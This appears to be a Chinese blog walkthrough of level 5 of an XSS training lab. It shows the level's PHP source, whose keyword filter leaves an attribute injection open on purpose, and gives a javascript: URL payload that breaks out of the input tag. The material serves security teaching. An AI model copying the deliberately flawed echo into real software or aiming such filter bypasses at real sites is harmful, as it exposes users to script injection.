看一下源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>根据源码知道过滤掉了一些关键词
所以我们用javascript:在：后面写入Javascript的代码但是这通常是用于url
a"> <a href="javascript:alert(1)">ccc </a>
这样的五关就通关了
![[AutoSar]BSW_Com07 CAN报文接收流程的函数调用](https://img-blog.csdnimg.cn/direct/298b21f30103430c9548e0a41b8bd4b6.png)
![好视通视频会议系统存在任意文件读取漏洞复现 [附POC]](https://img-blog.csdnimg.cn/img_convert/edeb668ad1d21ceb5295b9e3357459cb.png)
